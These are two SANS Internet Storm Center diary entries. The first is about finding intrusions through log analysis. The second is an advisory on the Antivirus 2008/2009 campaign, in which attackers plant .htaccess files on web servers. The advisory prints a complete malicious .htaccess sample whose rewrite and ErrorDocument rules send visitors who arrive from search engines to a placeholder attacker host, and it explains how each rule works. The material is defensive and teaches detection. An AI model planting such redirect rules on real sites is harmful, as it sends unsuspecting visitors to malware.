Day 9 - Identification: Log and Audit Analysis
For the ninth day of Cyber Security Awareness Month we will consider how you can use log and audit analysis to identify an intrusion or incident. Remember that in step one, Preparation, you should be putting in place automatic logging facilities so that you'll have the ability to look backwards in time to reconstruct an incident. But what about using those logging facilities to detect an event or series of events that can rise to the level of an incident?
The classic example of using log analysis to identify a problem is the story behind The Cuckoo's Egg, one of the most popular books on computer security investigations. By the way, that story is twenty years old now, but if you read the book today it's almost like it could have been written in the past few years because so many of the problems and techniques are still common today. For a more contemporary essay, see Roger Meyer's GIAC paper in the SANS Reading Room where he explains how he used web application logs to identify an intrusion.
If you have uncovered an incident using log or audit analysis, please send us a note using our contact form and tell us about it. We'll share your stories with other readers throughout the day by adding them to this diary.
UPDATE 1
An anonymous reader sent us this:
After doing some research on common/popular trojans which steal confidential information in order to:
1. confirm the IDS systems are doing what they're supposed to
2. collect communication patterns for behavioral analysis and heuristics
It was decided to test how well these heuristics work. With couple of simple scripts pattern matches were applied to logs from organization's web proxy infrastructure and uncovered several infected devices which constantly stole any form based data.
Lessons Learned: any kind of additional information about a threat from public or other sources should be, to the extent possible, checked against previously logged data to identify if anything was missed by current security infrastructure.
Marcus H. Sachs
Director, SANS Internet Storm Center
Watch that .htaccess file on your web site
The bad guys behind the Antivirus 2008/2009 malware have been recently using a pretty sneaky tactics for redirecting people to their fake web sites.
We actually received a report about this back at the beginning of September (so this has been in the wild for at least a month) by our reader John R, but somehow we missed to write a diary about it.
In this latest scheme of attacks, attackers are abusing the RewriteEngine feature in Apache web servers. This feature can be activated through the .htaccess access control file. This file is usually located in the top directory of a web server and in incidents that have been detected so far it appears that the file has been put with stolen FTP credentials.
One sample .htaccess file is shown below:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://BAD_SITE/in.html?s=hg [R,L]
Errordocument 404 http://BAD_SITE/in.html?s=hg_err
Such a .htaccess file first enables the RewriteEngine and then defines 6 condition rules, followed by a RewriteRule. The condition rules check the referer header (%{HTTP_REFERER} and compare it with a regexp that follows. As you can see, the attackers are catching most common search engines. For those not familiar with the rewrite rules above: NC means no case (case insensitive), OR is just a logical OR with the next statement. If any condition matched, the RewriteRule statement is executed. In this sample, it redirected the browser to a bad site ([R,L] in the RewriteRule means force redirect, last rule).
As you can see, this is very sneaky – if you visit the compromised web site directly, everything will work as it's supposed to. However, if you search for something and the search engine shows you a link to the compromised web site, when you click on it you will be redirected to the bad site because your browser will send the referer header which will match one of the condition rules.
If you have a web site make sure that you are using strong credentials when you modify the contents and that you do that from a safe environment. If anyone from a web hosting company is reading this – check .htaccess files used on your web site (or better yet, disable them if you don't need them). Finally, make sure that you have proper security on the file level, so mass defacements like the one I described at http://isc.sans.org/diary.html?storyid=3078 can't happen.
--
Bojan
Comments